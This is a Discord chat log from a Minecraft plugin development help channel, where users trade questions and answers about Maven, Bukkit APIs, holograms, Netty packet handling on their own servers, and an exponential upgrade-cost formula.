upper mica
# peak granite tp them to a solid block

listen for PlayerMoveEvent, then check if below block is solid, if it is - pass, if it's not, then create a for loop that would go block by block to ground, and everytime it does, check if its solid, if it is, cancel loop and teleport player.

quaint mantle
upper mica
quaint mantle
cold field
#

Hi guys, quick question. I would like to know some info about a class (VanillaCommandWrapper). Does anyone know a git command that allows me to know all the commits that edited that class?

cold field
upper mica
proud basin
tall dragon
#

yo fellas, i aint no math guy. and i am looking for an algorithm that can determine a cost for an upgrade

for example i want to be able to input the amount of upgrades i want to have lets say 1.000, then i want to be able to set the total cost of all those upgrades for example 3 million, now how would i calculate the cost of a single upgrade so that in the end all 1.000 upgrades add up to 3 million in costs. but the price still increases exponentially?

#

an easier example would be if i have 2 upgrades, and a total cost of 10, the first would be like 3 bucks, and the second 7

misty current
#

what is the difference between the maven plugins to compile?

#

i've always used package but i'm not sure why

tall dragon
#

mvn package just compiles it

#

mvn install for example also installs it in your local repo folder

misty current
#

ooh so i can import it from the local repo if I install it?

#

on another project

tall dragon
#

yh

misty current
#

interesting

tall dragon
#

u can

misty current
#

what to the other plugins do?

#

package is starting to take a bit

#

around 20s

tall dragon
#

well ur gonna need to specify which

misty current
#

let's say compile

#

sounds similar to package

misty current
#

also instead of annoying you, is there a list somewhere online?

#

exactly what it says

#

you are casting an experience orb to a livingentity

#

which is not possible

rough basin
#

Why exp orb triggers EntityTargetEntity events

#

I have no idea

misty current
#

because it targets an entity

#

to get to it

#

probably

misty current
#

also never blind cast, always put checks

tall dragon
proud basin
#

I made something like that before but wasn't for a plugin

rough basin
#

It happens when i kill some mobs and it drop exp orbs,
I have no idea why it triggers Event nah

tall dragon
#

because i am lost at this point

hybrid spoke
proud basin
#

yeah for sure

misty current
#

what does deploy do? put it on an online repo?

proud basin
#

You could always just do it the way hypixel does it

tall dragon
#

and how do they

#

i never really played hypickle

tall dragon
hybrid spoke
opal juniper
#

or just make an equation on desmos

#

y = x^2 is a simple one

#

then just plug in x

misty current
#

not sure if that's the english name

little trail
#

does anyone know how to get the location header or whatever as im getting [14:27:47 WARN]: Caused by: jdk.internal.net.http.websocket.CheckFailedException: Unexpected HTTP response status code 301 from java WebSocket webSocket = httpClient.newWebSocketBuilder() .buildAsync(URI.create("wss://tooty.xyz/ws/"), new WsClient(plugin)) .join();

proud basin
misty current
#

yea

lavish hemlock
#

afaik it doesn't exist on the JRE

misty current
#

in italian they use the adjective

lavish hemlock
#

might be wrong

opal juniper
misty current
#

to call them

lavish hemlock
#

but I'm basing it off the fact it's in a jdk module

hybrid spoke
#

301 means permanent redirect

little trail
#

it works for me on multiple hosts

hybrid spoke
#

á outdated

little trail
#

i am aware...

lavish hemlock
#

well aight then

little trail
#

my question is how do i get what its trying to redirect to

#

as idk where to test my websocket

hybrid spoke
misty current
#

what does the deploy maven plugin do? Put my code in an online repo?

hybrid spoke
little trail
#

...yess....how do i get the answer

tall dragon
opal juniper
#

xp = level * log(level) @tall dragon

tall dragon
#

hmm

eternal oxide
misty current
#

ima use it too

#

but it kinda bugs me out it goes down then up

proud basin
#

You could also use functions I think that's what its called anyways

misty current
#

tho i'm not sure how he could specify that after 1000 levelups the sum of the costs must add up to 3mil

hybrid spoke
opal juniper
#

it doesn't

tall dragon
#

but i have no idea how to do this

misty current
little trail
proud basin
opal juniper
#

huh

misty current
#

you can compute the sum of n elements

#

decide a starting poiny

#

and get how much it should increase

proud basin
#

I was thinking he could use something like f(x) = 2x − 3

opal juniper
#

level 1 = 0 xp

#

start from there

tall dragon
misty current
#

nope it's linear

left swift
#

Hi, im coding using intellij and maven, but i have one problem. When i'm debugging the stacktrace is not parse to my code, how can I fix that?

misty current
#

x log x is not tho

#

it's a bit exponential

left swift
#

for example at net.minecraft.world.entity.ai.attributes.AttributeMapBase.a(SourceFile:48), when i click it it show me that, why?

opal juniper
#

something like this look ok?

chrome beacon
tall dragon
left swift
tall dragon
tall dragon
opal juniper
#

let me open an ide

tall dragon
#

sure

opal juniper
#

int cost = Math.round((level * Math.log(level-0.3)) + 0.16

tall dragon
misty current
#

epic if you want the sum of 1000 upgrades to cost from 3m and you start from 100, you have to multiply the previous cost * 1.005

#

so 100 * 1.005

#

then the result *1.005

#

so the formula to get a level cost is 100 * Math.pow(1.005, level - 1)

#

do you want a different starting value?

tall dragon
#

well

#

you start at level 1 obviously

misty current
#

i meant the cost of the initial level

#

like does it start from 1, 100, 30

tall dragon
#

ah

#

so like the first upgrades cost

misty current
#

acutally just use this

#

s is the sum you want

#

n is the amount of elements to get to that sum

#

and a is the starting point

tall dragon
#

hmm i see

misty current
opal juniper
#

its 10,000 points kek

#

ofc it is

misty current
#

lol

#

it's barely exponential

#

oh nevermind

tall dragon
#

unless i tested it wrong

misty current
#

yeah it's not on point because the actual number is very small

#

and goes pretty far in decimals

#

you can try adding more decimals to make it closer

tall dragon
#

how would i calculate tha number myself

#

1.005

misty current
#

i gave you the link

tall dragon
#

ah yea i see

misty current
#

it already has the values u want i think

#

try 1.00504

tall dragon
#

but im so shit at math that i cant actually translate that formula to java code 😂

tall dragon
#

yw i got that

#

but you use a formula to arrive at 1.005 right?

misty current
#

do you want to calculate the sum of the elements?

tall dragon
#

because that number will be different for example for 5 million

#

1.00504 is a more accurate yea, its like 9000 off now

misty current
#
final double k = 1.00504

double sum = 100 * (Math.pow(k, level) - 1)/(k - 1)

#

should be good

#

maybe try 1.005045?

#

or slightly lower

tall dragon
#

yea, but what i need is also a way to calculate the exact number which you called k

misty current
#

corrected a small thing

#

oh well you'd have to do some weird factorization

tall dragon
#

because if i suddenly want the sum to be 5 million i dont want to go to this website to figure out the correct number

misty current
#

and to be honest i'm not sure how would you calculate k in this case

#

i've tried slapping it in some formula inverting program but it only gave me the graph

#

not the actual math

#

can anyone help me? I'm getting a class cast in my console when i join and i guess it's the fault of my netty injection

    public void injectPlayers(Player... players) {
        for (Player player : players) {

            ChannelDuplexHandler channelDuplexHandler = new ChannelDuplexHandler() {
                //Packets sent by the server (server -> client)
                @Override
                public void channelRead(ChannelHandlerContext channelHandlerContext, Object packet) throws Exception {
                    PacketEvent event = new PacketEvent(player, (Packet<? extends PacketListener>) packet, PacketEvent.PacketType.OUTGOING);
                    Bukkit.getServer().getPluginManager().callEvent(event);

                    if(!event.isCancelled()) super.channelRead(channelHandlerContext, packet);
                }

                //Packets written to the server (client -> server)
                @Override
                public void write(ChannelHandlerContext channelHandlerContext, Object packet, ChannelPromise channelPromise) throws Exception {
                    PacketEvent event = new PacketEvent(player, (Packet<? extends PacketListener>) packet, PacketEvent.PacketType.INCOMING);
                    Bukkit.getServer().getPluginManager().callEvent(event);

                    if(!event.isCancelled()) super.channelRead(channelHandlerContext, packet);
                }
            };

            ChannelPipeline pipeline = ((CraftPlayer) player).getHandle().playerConnection.networkManager.channel.pipeline();
            pipeline.addBefore("packet_handler", player.getName(), channelDuplexHandler);
        }
    }
#

error:

[16:06:25 INFO]: kill05 lost connection: Internal Exception: java.lang.ClassCastException: class net.minecraft.server.v1_8_R3.PlayerConnection cannot be cast to class net.minecraft.server.v1_8_R3.PacketListenerPlayOut (net.minecraft.server.v1_8_R3.PlayerConnection and net.minecraft.server.v1_8_R3.PacketListenerPlayOut are in unnamed module of loader java.net.URLClassLoader @4b9af9a9)
#

i guess it's because of the cast on the packet object but it worked fine before

maiden mountain
#

So i got this issue with creating a custom NPC Registry with CitizensAPI.

Error:

java.lang.IllegalStateException: no implementation set
        at net.citizensnpcs.api.CitizensAPI.getImplementation(CitizensAPI.java:79) ~[?:?]
        at net.citizensnpcs.api.CitizensAPI.createNamedNPCRegistry(CitizensAPI.java:60) ~[?:?]

Code:

  NPCRegistry reg = CitizensAPI.createNamedNPCRegistry("balblabal", new MemoryNPCDataStore());
#

And i'm creating the Registry within the onEnable method

misty current
#

this is what i do to create one CitizensAPI.createAnonymousNPCRegistry(new MemoryNPCDataStore());

sudden raft
maiden mountain
#

same code

misty current
#

well not sure

maiden mountain
#

I even updated the citizens module and it didnt fixed it ahah

misty current
#

if you are not on legacy versions, monkey can help you on citizen's discord

#

he's also online rn

proud basin
quaint mantle
#

How to transform a List<String> to a String?

#

in list contains A and B

#

I want a string, text: A\nB

#

how?

eternal oxide
#

String.join

quaint mantle
#

String?

eternal oxide
#

or a Builder

quaint mantle
#
public void createHologram(Location l, List<String> text) {
        ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
        as.setVisible(false);
        as.setCustomNameVisible(true);
        as.setCanPickupItems(false);
        as.setCustomName(String.valueOf());

    }```
eternal oxide
#

you can;t create a multi-line custom name

quaint mantle
# eternal oxide you can;t create a multi-line custom name
    public void createHologram(Location l, String... lines) {
        List<String> hologramLines = Lists.newArrayList();
        hologramLines.addAll(Arrays.asList(lines));
        hologramLines.forEach((text) -> {
            ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
            as.setVisible(false);
            as.setCustomNameVisible(true);
            as.setCanPickupItems(false);
            as.setCustomName(text);
        });
}```
#

?

proud basin
#

now would It be easier on their if I just used bungee api?

swift adder
#

How can I loop something in lua?

#

Is it

for a=1,100 do
  print(a,a*a)
end```
#

Because that's what I found.

proud basin
#

seems right

#

yea

#

wait no

#

you need a min

swift adder
#

Wdym

proud basin
#

increment*

swift adder
#
for again=false to
  print("false")
end```
#

How could I add a increment?

#

That prints it but not loop it.

proud basin
#

idk probably something like for a=1,100, 1 do print("vbv") end

#

well

swift adder
#

I'll do more research that doesn't seem to work.

sacred prairie
#

Yo guys, i have a question, how can i make the Particle.EXPLOSION_LARGE bigger? i use this code right now to create the particle:
player.getWorld().spawnParticle(Particle.EXPLOSION_LARGE, player.getLocation(), 0, 0, 0, 0, 1);
pls help me

swift adder
#

I'm not sure.

sacred prairie
#

:/

quaint mantle
#

how to fix

#
    public void createHologram(Location l, String... lines) {
        List<String> hologramLines = Lists.newArrayList();
        hologramLines.addAll(Arrays.asList(lines));
        hologramLines.forEach((text) -> {
            ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
            as.setVisible(false);
            as.setCustomNameVisible(true);
            as.setCanPickupItems(false);
            as.setCustomName(PlaceholderAPI.setPlaceholders(null, text.replace("&", "§")));
        });
    }```
eternal oxide
#

decrease height of each additional stand

quaint mantle
eternal oxide
#

location

sacred prairie
#

i think do l.add(0, 1, 0)

#

then you make it 1 higher

eternal oxide
#

-1 to go down

quaint mantle
#

i think use a for loop

eternal oxide
#

you already have a loop

quaint mantle
#

in hologramLines

eternal oxide
#

your lambda

quaint mantle
#

example

halcyon mica
#

So, I've made a little library that I am currently importing into a plugin. However, since 1.18 this is happening when trying to build:

  class file for net.minecraft.world.entity.EntityCreature not found```
#

What's going on here?

quaint mantle
#

for(...) {
l.add(0,i,0)
}

#

oh ignore

halcyon mica
#

The scope of the project has EntityCreature accessibe

quaint mantle
#

i forget if i decrase 1 in height, the value in forEach is height - 1

#

in next item

#

if height = 10

#

🤦‍♂️

#

l.add(0, 1, 0);
hologramLines.forEach((text) -> {
l.setY(l.getY() - 1);

#

? '-'

eternal oxide
#

l.subtract(0,1,0) but you will have issues inside the lambda

quaint mantle
#

ok

#

not work

#
    public void createHologram(Location l, String... lines) {
        List<String> hologramLines = Lists.newArrayList();
        hologramLines.addAll(Arrays.asList(lines));
        l.add(0, 1, 0);
        hologramLines.forEach((text) -> {
            l.subtract(0, 1, 0);
            ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
            as.setVisible(false);
            as.setCustomNameVisible(true);
            as.setCanPickupItems(false);
            as.setCustomName(PlaceholderAPI.setPlaceholders(null, text.replace("&", "§")));
        });
    }```
smoky oak
#

is it faster to do a fall through switch with multiple subtractions or a bunch of if...else if's?

quaint mantle
#

'-'

smoky oak
#

ok

quaint mantle
smoky oak
#

the first one

#

wasnt what i was asking tho

eternal oxide
#

code lines doesn;t matter

smoky oak
#

i have more than enough disk space

smoky oak
#

uuuurhg i meant in execution

#

not in typing

quaint mantle
#

yes

eternal oxide
#

a lambda switch would be preferable

smoky oak
#

a what now?

eternal oxide
#

new in java 17? I think

quaint mantle
#

i choose switch

vale ember
#

lambda-like switches was from java 14

eternal oxide
#
switch (variable) {
    case "a" -> code;
    case "b" -> code;```
quaint mantle
smoky oak
#

whats the difference?

quaint mantle
#

i think

smoky oak
#

well yes but

#

what is the actual difference

#

looks like a normal switch to me

eternal oxide
#

an anonymos inner with no fall through

smoky oak
#

ah well

#

OH.

#

ok

quaint mantle
#

Can someone help me? I wanted separate but it's all in one location.

quaint mantle
#

Code ->

#
public void createHologram(Location l, String... lines) {
        List<String> hologramLines = Lists.newArrayList();
        hologramLines.addAll(Arrays.asList(lines));
        l.add(0, 1, 0);
        hologramLines.forEach((text) -> {
            l.subtract(0, 1, 0);
            ArmorStand as = (ArmorStand) l.getWorld().spawnEntity(l, EntityType.ARMOR_STAND);
            as.setVisible(false);
            as.setCustomNameVisible(true);
            as.setCanPickupItems(false);
            as.setCustomName(PlaceholderAPI.setPlaceholders(null, text.replace("&", "§")));
        });
    }```
#
new HologramBuilder(this).createHologram(player.getLocation(), "&6Teste", "&4fds", "%KVender_bolsa")```
peak granite
#

Player[] players = Bukkit.getServer().getOnlinePlayers();

#

doens't work

quaint mantle
#

isnt it a collection?

peak granite
#

wym

quaint mantle
#

C O L L E C T I O N

worldly ingot
#

Yes. It's a Collection<? extends Player>

worldly ingot
#

It hasn't been an array since 1.7

peak granite
#

difference between getServer.getOnlinePlayers and getOnlinePlayers?

quaint mantle
#

none?

wooden fable
#

How can i get a block out of an InventoryMoveItemEvent?

  • For example, if the source type is a chest, how can i retrieve the chest block?
peak granite
#

getBlock

wooden fable
#

That doesn't exist

vestal moat
#

Is it fine to do permission checks while listening to protocolib packets that may send before join?

wooden fable
lean gull
#

does anyone know how to disable block state updates for noteblocks? noteblocks have a ton of blockstates and are very useful when you want to make custom blocks in a resource pack, but the problem is that the noteblocks update their blockstates when you put something next to them

quiet ice
#

What is the zip file closed bug again? Does it show that the plugin is already unloaded or is it a spigot bug?

peak granite
#

how do i get a player's target player

#

on PlayerInteractEvent

quiet ice
pliant tundra
#

is there any way i can get the last player who messaged a given player or should i use a map to keep track of all the messages

quaint mantle
quaint mantle
#

pls reply to ur original question

quiet ice
quaint mantle
#

The armorstands locations is same

quiet ice
#

then don't make the location the same?

#

Make sure to clone the location object if you reuse it

solid cargo
#

how could i get the amount of specific items? from a chest

torn shuttle
#

No enum constant org.bukkit.block.Biome.SNOWY_PLAINS
fucking cursed issues man

#

it does exist

#

I don't even know if I can fix this

vestal moat
#

how can i get ALL commands owned by a single plugin?

solid cargo
vestal moat
#

it clearly says help-development

#

its not like im going to dispatch the command

gaunt frigate
#
    {
        if (getWorldGuard() != null)
        {
            Vector v = new Vector(loc.getX(), loc.getBlockY(), loc.getZ());
            return getWorldGuard().getRegionManager(loc.getWorld()).getApplicableRegionsIDs(v).contains(region);
        }
        return false;
    }
    @EventHandler
    public void Break(BlockBreakEvent e) {
        if(isInRegion(e.getBlock().getLocation(), main.getAyarlarConfig().getStringList("Ayarlar.Alanlar"))){

When it's a string, it pulls data from the surrounding fields. but it is not pulling the list can i fix this?
(Location loc, List<String> region)

pliant tundra
quaint mantle
#

Do I have to keep the files created after running buildtools or do I only keep the spigot jar file ?

#

or does the spigot folder created contain important files for development ?

pliant tundra
vestal moat
pliant tundra
vestal moat
#

i still asked for all commands of a plugin

pliant tundra
#

wait nvm

vestal moat
#

its not like im going to run the command and parse the response and make a list

pliant tundra
#

is it any plugin

#

or just your command

peak granite
#

how do i get an item's byte, like the item is 36:7, how do i get the 7, the byte

pliant tundra
#

*plugin

vestal moat
#

any plugin

pliant tundra
vestal moat
#

i understand some plugins do not friendly register commands its fine to not include them

peak granite
#

not asking how to split

vestal moat
#

im wondering if someone knows how to do that

pliant tundra
vestal moat
#

there is no JavaPlugin#getCommands

peak granite
#

that's not what i'm asking

torn shuttle
#

?paste

undone axleBOT
kind hatch
#

There is the bukkit command map.

pliant tundra
torn shuttle
vestal moat
#

can i use the server command map?

gaunt frigate
torn shuttle
#

can someone explain to me in what world my issue is a thing

vestal moat
torn shuttle
#

are biome enums not... enums?

misty current
#

does the maven plugin install compile and put the result in the local repo?

kind hatch
pliant tundra
#

i just run package and copy the plugin jar for d ev testing

misty current
#

package makes it into a jar

kind hatch
#

Those are maven commands

misty current
#

install puts it in the local repo

#

clean not sure

buoyant viper
#

they clean, package, and install

misty current
#

clean something related to cleaning up somethin

#

i guess

#

lol

pliant tundra
#

whats install

#

clean just removes target folder

kind hatch
pliant tundra
#

true

quaint mantle
misty current
vestal moat
#

anyone wanna rate my code without laughing?

misty current
#

what about pushing it to an online repo?

#

how do you do that?

kind hatch
vestal moat
#

both code and features

misty current
#

whats a nexus server

#

do i like have to pay for hosting

vestal moat
#

simply yes

misty current
#

ah

vestal moat
#

codemc nexus is free

quaint mantle
#

just the 1.18.1 jar file ?

solid cargo
#

Index 27 out of bounds for length 27 HOW IS THIS OUT OF BOUNDS

quaint mantle
#

index should be 26 logically

#

from 0 to 26 is 27

solid cargo
#

ah, so i should do -1?

quaint mantle
#

I guess

mighty pier
#

is it possible to not kick the players when the server stops?

quaint mantle
#

depending on the code

solid cargo
#

starting value is 0

quaint mantle
#

index is 0->last index

#

the length at index 0 can't be 0

#

so it's 1

#

and so on

solid cargo
#

i think im guilty

#

forgot to update code

#

lmfao

quaint mantle
#

Nah

glad ruin
#

what are you trying to do?